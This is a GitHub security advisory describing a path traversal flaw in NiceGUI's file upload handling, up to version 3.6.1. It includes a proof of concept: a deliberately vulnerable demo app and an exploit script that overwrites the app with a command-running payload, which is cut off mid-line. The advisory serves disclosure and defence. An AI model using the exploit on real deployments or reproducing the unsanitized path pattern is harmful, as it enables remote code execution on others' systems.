GitHub Security Advisory: GHSA-9ffm-fxg3-xrhh
Package: nicegui (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable versions: <= 3.6.1
Patched in: 3.7.0

Summary: NiceGUI's Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write

Details:
### Summary
NiceGUI's `FileUpload.name` property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern `UPLOAD_DIR / file.name`. Malicious filenames containing `../` sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.

**Note**: Exploitation requires application code incorporating `file.name` into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.

### Details
**Vulnerable Component**: `nicegui/elements/upload_files.py` ([upload_files.py#L79-L82](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82) and [upload_files.py#L110-L115](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115))

**Affected Methods**: `SmallFileUpload.save()`and `LargeFileUpload.save()`

```py
async def save(self, path: str | Path) -> None:
    target = Path(path)
    target.parent.mkdir(parents=True, exist_ok=True)
    await run.io_bound(target.write_bytes, self._data)
```

**Root Cause**: The `save()` method performs no validation on the provided path parameter. It accepts:
- Relative paths with `../` sequences
- Absolute paths
- Any file system location writable by the process

When developers use `e.file.name` (controlled by the attacker) in constructing save paths, directory traversal occurs:
```py
save_path = UPLOAD_DIR / e.file.name  # e.file.name = "../app.py"
await e.file.save(save_path)           # Writes outside UPLOAD_DIR
```

### PoC
- Terminal 1 (App)
```bash
cd /tmp && mkdir -p evilgui && cd evilgui
python3 -m venv evilgui && source evilgui/bin/activate
pip install nicegui

cat > vulnerable_app.py << 'EOF'
from nicegui import ui
from pathlib import Path

UPLOAD_DIR = Path('./uploads')
UPLOAD_DIR.mkdir(exist_ok=True)

@ui.page('/')
def index():
    async def handle_upload(e):
        save_path = UPLOAD_DIR / e.file.name
        await e.file.save(save_path)
        ui.notify(f'File saved: {e.file.name}')
    
    ui.upload(on_upload=handle_upload, auto_upload=True)

ui.run(port=8080, reload=False)
EOF

python3 vulnerable_app.py &
```

- Terminal 2 (Exploit)
```bash
cat > exploit.py << 'EOF'
import requests, re, time

s = requests.Session()
s.get('http://localhost:8080')
time.sleep(2)

html = s.get('http://localhost:8080').text
match = re.search(r'/_nicegui/client/([^/]+)/upload/(\d+)', html)
upload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}'

payload = '''from nicegui import ui
import subprocess
@ui.page("/")
def index():
    ui.label(subprocess.check_output(["id"], text=True))
ui.run(port=8080, reload=False)
'''

s.post(upload_url, files={'file': ('../vulnerable_app.py', pa